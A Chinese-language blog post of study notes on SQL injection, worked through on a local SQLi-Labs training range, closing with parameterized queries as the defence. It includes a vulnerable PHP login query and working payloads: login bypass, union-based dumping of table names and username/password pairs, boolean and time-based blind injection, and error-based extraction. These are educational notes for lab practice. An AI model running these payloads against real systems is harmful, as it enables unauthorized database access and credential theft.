Skip to content
Kurisu
Go back

SQL 基础

学 SQL 注入之前我先把 SQL 基本功补了一遍:MySQL 库表操作、联合查询、注释符和闭合方式,配着 SQLi-Labs 靶场一行一行手测,这篇就是当时攒下的笔记。

核心知识点

1. 数据库与 SQL 基础

2. SQL 原理

$username = $_POST['username'];
$password = $_POST['password'];
$sql_query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = $conn->query($sql_query);
SELECT * FROM users WHERE username = 'admin' --' AND password = '...';

-- 之后被当作注释忽略,攻击无需知道密码即可登录 admin。

3. 类型判断(破坏三步法第一步)

类型判断方法
数字型直接拼接,无需闭合引号
字符型需寻找闭合符(单引号/双引号/括号组合)

4. Union 联合(破坏三步法)

前置三步

  1. 判断类型与闭合符(同上)
  2. 探测列数ORDER BY N 依次递增,直到报错,即可确定查询列数
  3. 定位回显位UNION SELECT 1,2,3,... 用数字占位符探测前端回显的列位置

核心语法

union 完整语句

-- 确定列数为 3,回显位在 2 和 3
UNION SELECT 1,2,3
-- 查数据库名
UNION SELECT 1,database(),3
-- 查版本
UNION SELECT 1,version(),3
-- 查表名(跨库查询 information_schema)
UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='security'
-- 查列名
UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'
-- 查数据
UNION SELECT 1,GROUP_CONCAT(username,0x7e,password),3 FROM security.users

information_schema 系统库

SELECT table_name FROM information_schema.tables WHERE table_schema='security';
SELECT column_name FROM information_schema.columns WHERE table_name='users';

5. 布尔盲注

and length(database())=8          -- 判断数据库名长度为 8
and ascii(substr(database(),1,1)) > 100   -- 判断第一个字符 ASCII 码
and ascii(substr(database(),1,1)) = 115   -- 二分逼近,115 对应字符 's'

6. 时间盲注

and if(length(database())>5, sleep(3), 1)   -- 延迟说明长度大于5
and if(length(database())=8, sleep(3), 1)   -- 确定长度为8
and if(ascii(substr(database(),1,1))=115, sleep(3), 1)

7. 报错

and extractvalue(1, concat(0x7e, (select database())))

8. SQL 常用函数汇总

函数作用使用场景
database()返回当前数据库名信息收集
version()返回数据库版本版本探测
length()返回字符串长度盲注猜长度
ascii()返回字符 ASCII 码将字符转为数字判断
substr(str,pos,len) / substring截取字符串逐字符提取
concat() / group_concat()拼接 / 多行合并合并显示
sleep(N)延迟 N 秒时间盲注
if(cond,v1,v2)条件判断盲注条件构造
extractvalue(xml,xpath) / updatexmlXML 解析(报错)报错

9. 防御:参数化查询

query_template = "SELECT * FROM users WHERE username = ? AND password = ?"
execute(query_template, ("admin' --", "随便填的密码"))

即使 admin' --,数据库也只会寻找名字叫 admin' -- 的用户,不会当作注释执行。

实操步骤(SQLi-Labs 靶场流程)

第一:判断类型(字符型,单引号闭合)→ ORDER BY 探测列数 → UNION 定位回显位 → 拖库
第二:数字型,直接拼接
第三~四:字符型,闭合符分别为 ' 和 ')/")
第五:布尔盲注(length + ascii + 二分法)
第九:时间盲注(IF + sleep)
报错:extractvalue / updatexml
# URL 编码细节
空格用 + %20
注释用 --+(加号经 URL 解码后变空格,而 -- 后面的空格会被吃掉)
& 会被解析为参数分隔符,用 %26 编码或用 ~ 替代

# 构造请求
http://127.0.0.1/sqli-labs/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+

:Burp Suite 抓改,或火狐 HackBar 插件(需;也可用 Burp 代替)。

常见错误与排查


Share this post:

Previous Post
渗透测试流程与信息收集
Next Post
SQL 进阶与 sqlmap